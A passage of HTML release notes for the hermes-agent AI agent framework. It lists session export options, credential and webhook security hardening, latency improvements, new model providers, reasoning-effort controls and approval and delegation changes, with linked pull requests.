<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
<li>14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (<a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66347/hovercard">#66347</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67857/hovercard">#67857</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66470" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66470/hovercard">#66470</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (<a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67842/hovercard">#67842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67195/hovercard">#67195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67245/hovercard">#67245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67824/hovercard">#67824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67838/hovercard">#67838</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67844" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67844/hovercard">#67844</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/67466" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67466/hovercard">#67466</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67697/hovercard">#67697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Everywhere else</h3>
<ul>
<li>TUI renders streamed markdown incrementally per block (<a href="https://github.com/NousResearch/hermes-agent/pull/67236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67236/hovercard">#67236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61414/hovercard">#61414</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61131/hovercard">#61131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63941/hovercard">#63941</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway <code>session.resume</code> model + display history from one SELECT (<a href="https://github.com/NousResearch/hermes-agent/pull/61133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61133/hovercard">#61133</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61368/hovercard">#61368</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67247/hovercard">#67247</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>hermes update</code> skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (<a href="https://github.com/NousResearch/hermes-agent/pull/61580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61580/hovercard">#61580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60883/hovercard">#60883</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (<a href="https://github.com/NousResearch/hermes-agent/pull/67403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67403/hovercard">#67403</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Fireworks AI provider</strong> with cost estimation + cached picker price columns, promoted to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> in provider pickers (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65476/hovercard">#65476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65214/hovercard">#65214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>DeepInfra</strong> hardened integration; <strong>Upstage Solar</strong> provider (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614488518" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/42231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42231/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/42231">#42231</a> salvage) (<a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end</strong> — context lengths, native/Codex catalogs, pricing, compaction caps across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, building on <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>)</li>
<li>grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (<a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65922/hovercard">#65922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56617" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56617/hovercard">#56617</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60943/hovercard">#60943</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Catalog-labeled silent default (GLM-5.2) + bare-provider <code>/model</code> cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/64771" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64771/hovercard">#64771</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67606" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67606/hovercard">#67606</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (<a href="https://github.com/NousResearch/hermes-agent/pull/58884" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58884/hovercard">#58884</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61873/hovercard">#61873</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57038/hovercard">#57038</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57028/hovercard">#57028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Claude Sonnet 5 fully wired</strong> — curated lists, intro pricing, and metadata across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/67932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67932/hovercard">#67932</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hide providers you don't use</strong> — <code>enabled: false</code> per-provider flag + <code>excluded_providers</code> config scrub unwanted providers from <code>/model</code> pickers and built-in resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/67971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67971/hovercard">#67971</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (<a href="https://github.com/NousResearch/hermes-agent/pull/68007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68007/hovercard">#68007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67977" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67977/hovercard">#67977</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68005/hovercard">#68005</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67976/hovercard">#67976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/68108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68108/hovercard">#68108</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (<a href="https://github.com/NousResearch/hermes-agent/pull/67758" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67758/hovercard">#67758</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67904/hovercard">#67904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67908/hovercard">#67908</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Reasoning &amp; MoA</h3>
<ul>
<li><code>max</code> + <code>ultra</code> effort levels across every surface and route (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped <code>/reasoning</code> in the CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67946/hovercard">#67946</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA: <code>reference_max_tokens</code> to cap advisor output and cut latency; per-preset fanout cadence (<code>user_turn</code> runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (<a href="https://github.com/NousResearch/hermes-agent/pull/56756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56756/hovercard">#56756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57591/hovercard">#57591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64756/hovercard">#64756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Delegation, approvals &amp; the agent loop</h3>
<ul>
<li>Live subagent transcripts + durable background completions (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Smart approvals default; user-defined deny rules (block even under yolo); <code>/deny &lt;reason&gt;</code> relays the denial reason; plugin <code>pre_tool_call</code> approve action escalates to a human gate (re-landed with rule keys) (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Unified delegation concurrency caps (<code>max_async_children</code> deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (<a href="https://github.com/NousResearch/hermes-agent/pull/56955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56955/hovercard">#56955</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64775/hovercard">#64775</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61793/hovercard">#61793</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through <code>thread/compact/start</code>, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via <code>/usage reset</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/66514" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66514/hovercard">#66514</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66115" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66115/hovercard">#66115</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60114/hovercard">#60114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58155/hovercard">#58155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62225" data-hovercard-type="pull_request" 